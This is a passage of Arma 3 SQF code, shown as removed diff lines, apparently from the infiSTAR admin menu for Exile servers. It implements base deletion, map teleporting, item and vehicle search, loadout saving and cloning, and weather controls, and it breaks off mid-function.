- case 'BD: Set Radius' : {
- call CCG_fnc_bdSetRadius;
- throw 'BASEDELETER: Set Radius';
- };
- case 'BD: Cancel / Remove' : {
- call CCG_fnc_bdCancel;
- throw 'BASEDELETER: Cancel';
- };
- case 'BD: Delete Base' : {
- call CCG_fnc_bdDeleteB;
- throw 'BASEDELETER: Delete Base';
- };
- case 'BD: Delete Weaponholder' : {
- call CCG_fnc_bdDeleteW;
- throw 'BASEDELETER: Delete Weaponholder';
- };
- };
- } catch {
- systemChat _exception;
- call fnc_FULLinit;
- };
- };
- CCGbdObjs = [];
- CCG_fnc_bdSetCenter = {
- private ['_arrow'];
- CCGbdCenter = getPosASL player;
- _arrow = 'Sign_Arrow_F' createVehicleLocal [0,0,0];
- _arrow setPosASL CCGbdCenter;
- CCGbdObjs pushBack _arrow;
- };
- CCG_fnc_bdSetRadius = {
- private ['_arrow', '_pos', '_radius', '_angle', '_distance', '_count', '_step', '_count', '_step', '_objects'];
- if(isNil 'CCGbdCenter')then{throw 'BASEDELETER: Center not set!';};
- CCGbdRadius = CCGbdCenter distance (getPosASL player);
- _arrow = 'Sign_Arrow_F' createVehicleLocal [0,0,0];
- _arrow setPosASL CCGbdCenter;
- CCGbdObjs pushBack _arrow;
- _angle = 0;
- _count = round((2 * pi * CCGbdRadius) / 2);
- if(_count == 0)then{throw 'BASEDELETER: Center and Radius position can not be the same!';};
- for '_x' from 0 to _count do
- {
- private['_a', '_b', '_obj'];
- _a = (CCGbdCenter select 0) + (sin(_angle)*CCGbdRadius);
- _b = (CCGbdCenter select 1) + (cos(_angle)*CCGbdRadius);
- _obj = 'Sign_Sphere100cm_F' createVehicleLocal [0,0,0];
- _obj setPosASL [_a, _b, CCGbdCenter select 2];
- CCGbdObjs pushBack _obj;
- _angle = _angle + (360/_count);
- };
- for '_x' from 0 to _count do
- {
- private['_a', '_b', '_obj'];
- _a = (CCGbdCenter select 0) + (sin(_angle)*CCGbdRadius);
- _b = (CCGbdCenter select 2) + (cos(_angle)*CCGbdRadius);
- _obj = 'Sign_Sphere100cm_F' createVehicleLocal [0,0,0];
- _obj setPosASL [_a, CCGbdCenter select 1, _b];
- CCGbdObjs pushBack _obj;
- _angle = _angle + (360/_count);
- };
- for '_x' from 0 to _count do
- {
- private['_a', '_b', '_obj'];
- _a = (CCGbdCenter select 1) + (sin(_angle)*CCGbdRadius);
- _b = (CCGbdCenter select 2) + (cos(_angle)*CCGbdRadius);
- _obj = 'Sign_Sphere100cm_F' createVehicleLocal [0,0,0];
- _obj setPosASL [CCGbdCenter select 0, _a, _b];
- CCGbdObjs pushBack _obj;
- _angle = _angle + (360/_count);
- };
- };
- CCG_fnc_bdGetObjectsToDelete = {
- if(isNil 'CCGbdCenter')exitWith{[]};
- if(isNil 'CCGbdRadius')exitWith{[]};
- nearestObjects [ASLtoATL CCGbdCenter,['Exile_Construction_Abstract_Static','AbstractConstruction','Exile_Construction_Flag_Static'], CCGbdRadius]
- };
- CCG_fnc_bdGetWeaponHoldersToDelete = {
- if(isNil 'CCGbdCenter')exitWith{[]};
- if(isNil 'CCGbdRadius')exitWith{[]};
- nearestObjects [ASLtoATL CCGbdCenter,['GroundWeaponHolder','WeaponHolderSimulated','LootWeaponHolder'], CCGbdRadius]
- };
- CCG_fnc_bdDeleteB = {
- private ['_objects'];
- if(isNil 'CCGbdCenter')then{throw 'BASEDELETER: Center not set!';};
- if(isNil 'CCGbdRadius')then{throw 'BASEDELETER: Radius not set!';};
- [-5,ASLtoATL CCGbdCenter,CCGbdRadius] call fnc_AdminReq;
- systemChat format['BASEDELETER: Deleting..', count (call CCG_fnc_bdGetObjectsToDelete)];
- };
- CCG_fnc_bdDeleteW = {
- private ['_objects'];
- if(isNil 'CCGbdCenter')then{throw 'BASEDELETER: Center not set!';};
- if(isNil 'CCGbdRadius')then{throw 'BASEDELETER: Radius not set!';};
- [-6,ASLtoATL CCGbdCenter,CCGbdRadius] call fnc_AdminReq;
- systemChat format['BASEDELETER: Deleting..', count (call CCG_fnc_bdGetWeaponHoldersToDelete)];
- };
- CCG_fnc_bdCancel = {
- CCGbdCenter = nil;
- CCGbdRadius = nil;
- {if(!isNull _x)then{deleteVehicle _x;};} foreach CCGbdObjs;
- CCGbdObjs = [];
- };
- };
- fnc_setFocus = {
- disableSerialization;
- ctrlSetFocus ((findDisplay MAIN_DISPLAY_ID) displayCtrl LEFT_SHIFT_ID);
- ctrlSetFocus ((findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID);
- };
- MAP_OBJECT_SELECTED = objNull;
- fnc_MouseButtonDown = {
- if(_this select 1 isEqualTo 0)then
- {
- _pos = ((_this select 0) posScreenToWorld [_this select 2, _this select 3]);
- if(ALT_IS_PRESSED)then
- {
- _veh = vehicle player;
- if(_veh isEqualTo player)then
- {
- _veh setPosATL _pos;
- }
- else
- {
- if(_veh isKindOf 'AIR')then
- {
- _posObj = getPosATL _veh;
- _pos = [_pos select 0,_pos select 1,_posObj select 2];
- };
- [1,netId player,_pos] call fnc_AdminReq;
- };
- ALT_IS_PRESSED = false;
- format['Teleport to %1(GPS: %2)',_pos,mapGridPosition _pos] call fnc_adminLog;
- {player reveal _x;} foreach (_pos nearObjects 50);
- };
- MAP_OBJECT_SELECTED = _pos nearestObject 'AllVehicles';
- };
- false
- };
- fnc_MouseButtonUp = {
- if(_this select 1 isEqualTo 0)then
- {
- _pos = ((_this select 0) posScreenToWorld [_this select 2, _this select 3]);
- if(isNull MAP_OBJECT_SELECTED)exitWith{true};
- if(!SHIFT_IS_PRESSED)exitWith{true};
- _obj = MAP_OBJECT_SELECTED;
- if(isPlayer _obj)then
- {
- {
- if(!isNull _x)then
- {
- if(getPlayerUID _x != '')then
- {
- _name = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
- [1,netId _x,_pos] call fnc_AdminReq;
- };
- };
- } forEach (crew _obj);
- }
- else
- {
- if(local _obj)then
- {
- _obj setPosATL _pos;
- }
- else
- {
- [20,netId _obj,_pos] call fnc_AdminReq;
- };
- };
- MAP_OBJECT_SELECTED = objNull;
- };
- false
- };
- fnc_addpic = {
- _status = call {
- if(isClass (configFile >> 'CfgWeapons' >> _this))exitWith{'CfgWeapons'};
- if(isClass (configFile >> 'CfgMagazines' >> _this))exitWith{'CfgMagazines'};
- if(isClass (configFile >> 'CfgVehicles' >> _this))exitWith{'CfgVehicles'};
- '';
- };
- if!(_status isEqualTo '')then
- {
- _pic = (getText (configFile >> _status >> _this >> 'picture'));
- if(_pic call FNC_PIC_VALID)then
- {
- _ctrl lbSetPicture [(lbsize _ctrl)-1,_pic];
- _ctrl lbSetPictureColor [(lbsize _ctrl)-1,[1, 1, 1, 1]];
- };
- };
- };
- fnc_search = {
- [
- _txt,
- {
- _txt = _this;
- if(_txt == lastSearched)exitWith{};
- disableSerialization;
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
- lbClear _ctrl;
- if(LASTSUBBUTTON isEqualTo 0)then
- {
- if('Items spawn menu' call ADMINLEVELACCESS)then
- {
- {
- _displayName = getText(configFile >> 'CfgWeapons' >> _x >> 'displayName');
- if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgMagazines' >> _x >> 'displayName');};
- if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgVehicles' >> _x >> 'displayName');};
- if(((toLower _x) find _txt > -1)||((toLower _displayName) find _txt > -1))then{
- _lbid = _ctrl lbAdd format['%1 (%2)',_displayName,_x];
- _ctrl lbSetData [_lbid,_x];
- _x call fnc_addpic;
- };
- } forEach ALLC_ITEMS;
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- };
- if(LASTSUBBUTTON isEqualTo 1)then
- {
- if(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))then
- {
- _ctrl lbAdd '==== Vehicles ====';
- if(!isNil 'infiSTAR_add_vehicles')then
- {
- {
- _displayName = getText(configFile >> 'CfgVehicles' >> _x >> 'displayName');
- if(((toLower _x) find _txt > -1)||((toLower _displayName) find _txt > -1))then{
- _lbid = _ctrl lbAdd format['%1 (%2)',_displayName,_x];
- _ctrl lbSetData [_lbid,_x];
- _x call fnc_addpic;
- if(_x select [0,5] isEqualTo 'Exile')then{_ctrl lbSetColor [_lbid, [0,1,0,1]];};
- };
- } forEach ALL_VEHS_TO_SEARCH_C;
- for '_i' from 0 to 12 do {_ctrl lbAdd '';};
- };
- };
- };
- lastSearched = _txt;
- [] call fnc_colorizeMain;
- for '_i' from 0 to 10 do{_ctrl lbAdd '';};
- }
- ] execFSM 'call.fsm';
- };
- fnc_searchNfill = {
- if(isNil 'SEARCHLOOP')then{
- SEARCHLOOP = true;
- if(isNil 'lastSearched')then{lastSearched = '';};
- [] spawn {
- disableSerialization;
- while {true} do
- {
- if(isNull (findDisplay MAIN_DISPLAY_ID))exitWith{};
- if(!isNil 'stopthissearchplease')exitWith{stopthissearchplease=nil;};
- _txt = ctrlText((findDisplay MAIN_DISPLAY_ID) displayCtrl 100);
- if(_txt isEqualTo '')then
- {
- [] call fnc_fill_infiSTAR_Player;
- waitUntil {((ctrlText((findDisplay MAIN_DISPLAY_ID) displayCtrl 100) != '')||(isNull (findDisplay MAIN_DISPLAY_ID))||(!isNil 'stopthissearchplease'))};
- }
- else
- {
- _txt = toLower _txt;
- if(FILLMAINSTATE isEqualTo 1)then
- {
- call fnc_search;
- }
- else
- {
- _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl LEFT_SHIFT_ID;
- lbclear _ctrl;
- _shown = [];
- {
- _name = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
- if((toLower _name) find _txt > -1)then
- {
- _grp = group _x;
- _index = _shown pushBackUnique _grp;
- if(_index > -1)then
- {
- _ctrl lbAdd format['______%1______',_grp];
- {
- _PUIDX = getPlayerUID _x;
- _side = side _x;
- _grp = group _x;
- _ExileName = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
- _name = format['%1 [%2]',_ExileName,_side];
- if(count units _grp > 1)then
- {
- _name = format['%1 [%2 (%3)]',_ExileName,_side,_grp];
- };
- _lbid = _ctrl lbAdd _name;
- _veh = vehicle _x;
- _xpic = getText (configFile >> 'CfgVehicles' >> (typeOf _veh) >> 'picture');
- if(alive _x)then
- {
- if(_x isEqualTo _veh)then
- {
- _wpnstate = weaponState _x;
- _cwep = _wpnstate select 0;
- if(_cwep != '')then
- {
- _xpic = getText (configFile >> 'CfgWeapons' >> _cwep >> 'picture');
- };
- };
- };
- if(_xpic call FNC_PIC_VALID)then
- {
- _ctrl lbSetPicture [_lbid,_xpic];
- _ctrl lbSetPictureColor [_lbid,[1, 1, 1, 1]];
- };
- _clr = _x call FN_GET_CLR_PLAYERLIST;
- _ctrl lbSetColor [_lbid,_clr];
- } forEach (units _grp);
- };
- };
- } forEach (call fnc_get_plr);
- };
- };
- uiSleep 0.1;
- };
- SEARCHLOOP = nil;
- };
- };
- };
- fnc_SearchFieldButtons = {
- disableSerialization;
- _display = findDisplay MAIN_DISPLAY_ID;
- _others=false;
- if(FILLMAINSTATE == 1)then{_others = true;};
- _editSearch = _display displayCtrl 100;
- _editSearch ctrlEnable true;
- _editSearch ctrlShow true;
- _editSearch ctrlSetTextColor [0.56,0.04,0.04,1];
- _editSearch ctrlSetText '';
- _btnItems = _display displayCtrl 36;
- _btnItems ctrlEnable true;
- _btnItems ctrlShow true;
- _btnItems buttonSetAction '
- LASTSUBBUTTON = 0;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
- ';
- if!('Items spawn menu' call ADMINLEVELACCESS)then
- {
- _btnItems ctrlEnable false;
- _btnItems ctrlShow false;
- };
- _ctrlL = _display displayCtrl LEFT_SHIFT_ID;
- if(isNil 'ctrlposL')then{ctrlposL = ctrlPosition _ctrlL;};
- _ctrlLTMP = ctrlposL;
- if(isNil 'ctrlposeditSearch')then{ctrlposeditSearch = ctrlPosition _editSearch;};
- _ctrleditSearchTMP = ctrlposeditSearch;
- if(isNil 'ctrlposbtnItems')then{ctrlposbtnItems = ctrlPosition _btnItems;};
- _ctrlbtnItemsTMP = ctrlposbtnItems;
- if(FILLMAINSTATE in [0,3,4])then
- {
- _btnItems ctrlSetText 'Reset PlayerSearch';
- _btnItems buttonSetAction '
- ((findDisplay MAIN_DISPLAY_ID) displayCtrl 100) ctrlSetText '''';
- [] call fnc_fill_infiSTAR_Player;
- ';
- _ctrlLTMP = [(ctrlposL select 0),(ctrlposL select 1)+.165,(ctrlposL select 2),(ctrlposL select 3)-.165];
- _ctrleditSearchTMP = [SafeZoneX,(ctrlposeditSearch select 1)-0.045,(ctrlposL select 2),(ctrlposeditSearch select 3)*0.75];
- _ctrlbtnItemsTMP = [SafeZoneX,(ctrlposbtnItems select 1)-0.035,(ctrlposL select 2),(ctrlposbtnItems select 3)];
- };
- _ctrlL ctrlSetPosition _ctrlLTMP;
- _ctrlL ctrlCommit 0.3;
- _editSearch ctrlSetPosition _ctrleditSearchTMP;
- _editSearch ctrlCommit 0.3;
- _btnItems ctrlSetPosition _ctrlbtnItemsTMP;
- _btnItems ctrlCommit 0.3;
- if(FILLMAINSTATE == 1)then{
- _btnItems ctrlSetText 'Items';
- _btnItems buttonSetAction '
- LASTSUBBUTTON = 0;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
- ';
- };
- _btnVehs = _display displayCtrl 37;
- _btnVehs ctrlEnable _others;
- _btnVehs ctrlShow _others;
- _btnVehs buttonSetAction '
- LASTSUBBUTTON = 1;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
- ';
- if!(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))then
- {
- _btnVehs ctrlEnable false;
- _btnVehs ctrlShow false;
- };
- _btnTrader = _display displayCtrl 38;
- _btnTrader ctrlSetText 'Trader';
- _btnTrader ctrlEnable _others;
- _btnTrader ctrlShow _others;
- _btnTrader buttonSetAction '
- LASTSUBBUTTON = 2;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
- ';
- call fnc_searchNfill;
- };
- fnc_cloneGear = {
- _unit = _this;
- if(isNil'_unit')exitWith{systemchat'_unit not defined';};
- if(isNull _unit)exitWith{systemchat'_unit OBJECT-NULL';};
- _export = '';
- _fnc_addMultiple = {
- _items = _this select 0;
- _expression = _this select 1;
- _itemsUsed = [];
- {
- _item = _x;
- _itemLower = tolower _x;
- if !(_itemLower in _itemsUsed)then{
- _itemsUsed set [count _itemsUsed,_itemLower];
- _itemCount = {_item == _x} count _items;
- _expressionLocal = _expression;
- if(_itemCount > 1)then{
- _expressionLocal = format ['for ''_i'' from 1 to %1 do {%2};',_itemCount,_expression];
- };
- _export = _export + format [_expressionLocal,_var,_x];
- };
- } foreach _items;
- };
- _export = _export + '_unit = player;';
- _var = '_unit';
- _export = _export + format ['removeAllWeapons %1;',_var];
- _export = _export + format ['removeAllItems %1;',_var];
- _export = _export + format ['removeAllAssignedItems %1;',_var];
- _export = _export + format ['removeUniform %1;',_var];
- _export = _export + format ['removeVest %1;',_var];
- _export = _export + format ['removeBackpack %1;',_var];
- _export = _export + format ['removeHeadgear %1;',_var];
- _export = _export + format ['removeGoggles %1;',_var];
- if(uniform _unit != '')then{
- _export = _export + format ['%1 forceAddUniform ''%2'';',_var,uniform _unit];
- [uniformitems _unit,'%1 addItemToUniform ''%2'';'] call _fnc_addMultiple;
- };
- if(vest _unit != '')then{
- _export = _export + format ['%1 addVest ''%2'';',_var,vest _unit];
- [vestitems _unit,'%1 addItemToVest ''%2'';'] call _fnc_addMultiple;
- };
- if(!isnull unitbackpack _unit)then{
- _export = _export + format ['%1 addBackpack ''%2'';',_var,typeof unitbackpack _unit];
- [backpackitems _unit,'%1 addItemToBackpack ''%2'';'] call _fnc_addMultiple;
- };
- if(headgear _unit != '')then{_export = _export + format ['%1 addHeadgear ''%2'';',_var,headgear _unit];};
- if(goggles _unit != '')then{_export = _export + format ['%1 addGoggles ''%2'';',_var,goggles _unit];};
- {
- _weapon = _x select 0;
- _weaponAccessories = _x select 1;
- _weaponCommand = _x select 2;
- if(_weapon != '')then{
- _export = _export + format ['%1 addWeapon ''%2'';',_var,_weapon];
- {
- if(_x != '')then{_export = _export + format ['%1 %3 ''%2'';',_var,_x,_weaponCommand];};
- } foreach _weaponAccessories;
- };
- } foreach [
- [primaryweapon _unit,_unit weaponaccessories primaryweapon _unit,'addPrimaryWeaponItem'],
- [secondaryweapon _unit,_unit weaponaccessories secondaryweapon _unit,'addSecondaryWeaponItem'],
- [handgunweapon _unit,_unit weaponaccessories handgunweapon _unit,'addHandgunItem'],
- [binocular _unit,[],'']
- ];
- [assigneditems _unit - [binocular _unit],'%1 linkItem ''%2'';'] call _fnc_addMultiple;
- _export
- };
- fnc_Loadoutmenu = {
- disableSerialization;
- if(isNil'missionNameSpaceLoadouts')then{missionNameSpaceLoadouts=[];};
- _display = findDisplay MAIN_DISPLAY_ID;
- _ctrl = [_display,'IGUIBack',44464] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.554062 * safezoneW + safezoneX,
- 0.8,
- 0.3,
- 0.2 * safezoneH
- ];
- _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RscListbox',44465] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.554062 * safezoneW + safezoneX,
- 0.8
- ];
- _ctrl ctrlCommit 0;
- fnc_load_LoadOuts = {
- infiSTAR_LoadOutARRay = profileNamespace getVariable['infiSTAR_LoadOutARRay',[]];
- lbClear (findDisplay MAIN_DISPLAY_ID displayCtrl 44465);
- if!(infiSTAR_LoadOutARRay isEqualTo [])then
- {
- {(findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd _x;} forEach infiSTAR_LoadOutARRay;
- (findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd '';
- };
- if!(missionNameSpaceLoadouts isEqualTo [])then
- {
- {(findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd _x;} forEach missionNameSpaceLoadouts;
- (findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd '';
- };
- };
- call fnc_load_LoadOuts;
- _ctrl = [_display,'RscEdit',44469] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.554062 * safezoneW + safezoneX,
- 0.81+(ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3),
- (ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 2),
- 0.033 * safezoneH
- ];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCButton',44466] call fnc_createctrl;
- _ctrl ctrlSetText 'LOAD';
- _ctrl ctrlSetPosition [
- 0.68 * safezoneW + safezoneX,
- 0.8,
- 0.3,
- 0.033 * safezoneH
- ];
- fnc_ButtonClick_44466 = {
- _txt = lbtext[44465,(lbCurSel 44465)];
- if(_txt != '')then
- {
- if(_txt in missionNameSpaceLoadouts)exitWith
- {
- _m = missionNameSpace getVariable _txt;
- if((!isNil '_m')&&{(typeName _m == 'CODE')})then
- {
- call _m;
- };
- };
- if(isNil'FNC_CUSTOM_fn_loadInventory')then
- {
- FNC_CUSTOM_fn_loadInventory = (preprocessfile 'A3\functions_f\Inventory\fn_loadInventory.sqf') call fnc_admin_c;
- };
- _fnc_scriptName='';[player, [profileNamespace, _txt]] call FNC_CUSTOM_fn_loadInventory;
- _log = format['Loaded Loadout [%1]',_txt];
- _log call fnc_adminLog;
- };
- };
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44466'];
- _ctrl = [_display,'RSCButton',44467] call fnc_createctrl;
- _ctrl ctrlSetText 'DELETE';
- _ctrl ctrlSetPosition [
- 0.68 * safezoneW + safezoneX,
- 0.8+((ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3)/2),
- 0.3,
- 0.033 * safezoneH
- ];
- fnc_ButtonClick_44467 = {
- _txt = lbtext[44465,(lbCurSel 44465)];
- if(_txt != '')then
- {
- if(_txt in infiSTAR_LoadOutARRay)then
- {
- _id = infiSTAR_LoadOutARRay find _txt;
- if(_id == -1)exitWith{systemchat 'can not find Loadout';};
- _return = infiSTAR_LoadOutARRay deleteAt _id;
- systemchat format['Deleted Loadout: %1',_return];
- profileNamespace setVariable['infiSTAR_LoadOutARRay',infiSTAR_LoadOutARRay];saveprofileNamespace;
- _fnc_scriptName='';[player, [profileNamespace, _txt]] call BIS_fnc_deleteInventory;
- }
- else
- {
- _id = missionNameSpaceLoadouts find _txt;
- if(_id == -1)exitWith{systemchat 'can not find Loadout';};
- _return = missionNameSpaceLoadouts deleteAt _id;
- systemchat format['Deleted Loadout: %1',_return];
- };
- };
- call fnc_load_LoadOuts;
- };
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44467'];
- _ctrl = [_display,'RSCButton',44468] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.68 * safezoneW + safezoneX,
- 0.8+(ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3),
- 0.3,
- 0.033 * safezoneH
- ];
- fnc_ButtonClick_44468 = {
- _txt = ctrlText 44469;
- if(_txt == '')exitWith{systemchat 'Type a Loadout name to save!';};
- if(count _txt > 30)exitWith{systemchat 'Loadout name should have max 30 characters!';};
- call fnc_get_selected_object;
- if(isNull SELECTED_TARGET_PLAYER)exitWith{systemchat 'Player selected is NULL-OBJECT';};
- _exit = false;
- {if(toUpper _txt isEqualTo toUpper _x)exitWith{_exit=true};} forEach missionNameSpaceLoadouts;
- if(_exit)exitWith{systemchat 'can not overwrite missionNameSpaceLoadouts Admin Loadouts';};
- _index = infiSTAR_LoadOutARRay pushBackUnique _txt;
- if(_index > -1)then
- {
- profileNamespace setVariable['infiSTAR_LoadOutARRay',infiSTAR_LoadOutARRay];saveprofileNamespace;
- };
- _fnc_scriptName='';[SELECTED_TARGET_PLAYER, [profileNamespace, _txt]] call BIS_fnc_saveInventory;
- call fnc_load_LoadOuts;
- };
- _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44468'];
- _ctrl ctrlSetText 'SAVE FROM SELECTED';
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCButton',44471] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.81 * safezoneW + safezoneX,
- 0.8+((ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3)/2),
- 0.3,
- 0.033 * safezoneH
- ];
- fnc_ButtonClick_44471 = {
- call fnc_get_selected_object;
- _export = player call fnc_cloneGear;
- [_export,SELECTED_TARGET_PLAYER] call admin_d0_target;
- _log = format['Cloned Gear on %1(%2)!',name SELECTED_TARGET_PLAYER,getPlayerUID SELECTED_TARGET_PLAYER];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44471'];
- _ctrl ctrlSetText 'CLONE ON SELECTED';
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCButton',44472] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.81 * safezoneW + safezoneX,
- 0.8,
- 0.3,
- 0.033 * safezoneH
- ];
- fnc_ButtonClick_44472 = {
- call fnc_get_selected_object;
- _export = SELECTED_TARGET_PLAYER call fnc_cloneGear;
- _export call fnc_admin_cc;
- _log = format['Cloned Gear of %1(%2) on yourself!',name SELECTED_TARGET_PLAYER,getPlayerUID SELECTED_TARGET_PLAYER];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44472'];
- _ctrl ctrlSetText 'CLONE FROM SELECTED';
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RSCText',44463] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.677 * safezoneW + safezoneX,
- 0.75,
- 0.2 * safezoneW,
- 0.03 * safezoneH
- ];
- _ctrl ctrlSetText format['SELECTED TARGET: %1',call fnc_get_selected_object];
- _ctrl ctrlCommit 0;
- };
- fnc_WeatherLord = {
- disableSerialization;
- _display = findDisplay MAIN_DISPLAY_ID;
- _text1 = [_display,'RSCText',33300] call fnc_createctrl;
- _text1 ctrlSetPosition [
- 0.55 * safezoneW + safezoneX,
- 0.3,
- 0.2 * safezoneW,
- 0.03 * safezoneH
- ];
- _text1 ctrlSetText 'Fog:';
- _text1 ctrlCommit 0;
- _slider1 = [_display,'RscXSliderH',33301] call fnc_createctrl;
- _slider1 ctrlSetPosition [
- 0.554 * safezoneW + safezoneX,
- 0.35
- ];
- _slider1 ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- slider_fog_changed = {
- SET_FOG_VALUE = (_this select 1)/10;
- 0 setFog SET_FOG_VALUE;
- };
- _slider1 ctrlRemoveAllEventHandlers 'SliderPosChanged';
- _slider1 ctrlAddEventHandler ['SliderPosChanged','call slider_fog_changed'];
- _slider1 ctrlCommit 0;
- _text2 = [_display,'RSCText',33302] call fnc_createctrl;
- _text2 ctrlSetPosition [
- 0.55 * safezoneW + safezoneX,
- 0.4,
- 0.2 * safezoneW,
- 0.03 * safezoneH
- ];
- _text2 ctrlSetText 'Overcast:';
- _text2 ctrlCommit 0;
- _slider2 = [_display,'RscXSliderH',33303] call fnc_createctrl;
- _slider2 ctrlSetPosition [
- 0.554 * safezoneW + safezoneX,
- 0.45
- ];
- _slider2 ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- slider_overcast_changed = {
- SET_OVERCAST_VALUE = (_this select 1)/10;
- 0 setOvercast SET_OVERCAST_VALUE;
- };
- _slider2 ctrlRemoveAllEventHandlers 'SliderPosChanged';
- _slider2 ctrlAddEventHandler ['SliderPosChanged','call slider_overcast_changed'];
- _slider2 ctrlCommit 0;
- _text3 = [_display,'RSCText',33304] call fnc_createctrl;
- _text3 ctrlSetPosition [
- 0.55 * safezoneW + safezoneX,
- 0.5,
- 0.2 * safezoneW,
- 0.03 * safezoneH
- ];
- _text3 ctrlSetText 'Rain:';
- _text3 ctrlCommit 0;
- _slider3 = [_display,'RscXSliderH',33305] call fnc_createctrl;
- _slider3 ctrlSetPosition [
- 0.554 * safezoneW + safezoneX,
- 0.55
- ];
- _slider3 ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- slider_rain_changed = {
- SET_RAIN_VALUE = (_this select 1)/10;
- if(SET_RAIN_VALUE > 0.3)then{if(overcast < 0.75)then{SET_OVERCAST_VALUE = 0.75;};};
- 0 setRain SET_RAIN_VALUE;
- };
- _slider3 ctrlRemoveAllEventHandlers 'SliderPosChanged';
- _slider3 ctrlAddEventHandler ['SliderPosChanged','call slider_rain_changed'];
- _slider3 ctrlCommit 0;
- _btn1 = [_display,'RSCButton',33400] call fnc_createctrl;
- _btn1 ctrlSetText 'CHANGE GLOBAL';
- _btn1 ctrlSetPosition [
- 0.554 * safezoneW + safezoneX,
- 0.6,
- 0.3,
- 0.033 * safezoneH
- ];
- _btn1 ctrlCommit 0;
- _btn1 ctrlSetEventHandler['ButtonClick','[16,SET_FOG_VALUE,SET_OVERCAST_VALUE,SET_RAIN_VALUE] call fnc_AdminReq;'];
- SET_FOG_VALUE = fog;
- SET_OVERCAST_VALUE = overcast;
- SET_RAIN_VALUE = rain;
- if(!isNil'fnc_WeatherLordTHREAD')then{terminate fnc_WeatherLordTHREAD;};
- fnc_WeatherLordTHREAD = [] spawn {
- disableSerialization;
- _slider1 = (findDisplay MAIN_DISPLAY_ID displayCtrl 33301);
- _slider2 = (findDisplay MAIN_DISPLAY_ID displayCtrl 33303);
- _slider3 = (findDisplay MAIN_DISPLAY_ID displayCtrl 33305);
- if(isNil'SET_FOG_VALUE')then{SET_FOG_VALUE=fog};
- if(isNil'SET_OVERCAST_VALUE')then{SET_OVERCAST_VALUE=overcast};
- if(isNil'SET_RAIN_VALUE')then{SET_RAIN_VALUE=rain};
- while {!isNull findDisplay MAIN_DISPLAY_ID} do
- {
- _fog = SET_FOG_VALUE;
- if(_fog > 0)then{_fog=_fog*10;};
- _slider1 sliderSetPosition _fog;
- 0 setFog SET_FOG_VALUE;
- _overcast = SET_OVERCAST_VALUE;
- if(_overcast > 0)then{_overcast=_overcast*10;};
- _slider2 sliderSetPosition _overcast;
- 0 setOvercast SET_OVERCAST_VALUE;
- _rain = SET_RAIN_VALUE;
- if(_rain > 0)then{_rain=_rain*10;};
- _slider3 sliderSetPosition _rain;
- 0 setRain SET_RAIN_VALUE;
- uiSleep 0.1;
- };
- };
- };
- fnc_reallyAdditem = {
- params[['_target',player],['_class','']];
- if(_class == '')exitWith{systemChat 'No Item selected!';};
- if(local _target)then
- {
- _added = [_target, _class] call ExileClient_util_playerEquipment_add;
- if(!_added)then
- {
- _itemInformation = [_class] call BIS_fnc_itemType;
- _itemCategory = _itemInformation select 0;
- _itemType = _itemInformation select 1;
- if(_itemCategory isEqualTo 'Magazine')then
- {
- _target addMagazine _class;
- }
- else
- {
- if(_itemCategory isEqualTo 'Weapon')then
- {
- _target addWeapon _class;
- }
- else
- {
- _target addItem _class;
- };
- };
- };
- }
- else
- {
- _toserver = '
- _target = (objectFromNetId '+str (netId _target)+');
- _class = '+str _class+';
- _driver = driver _target;
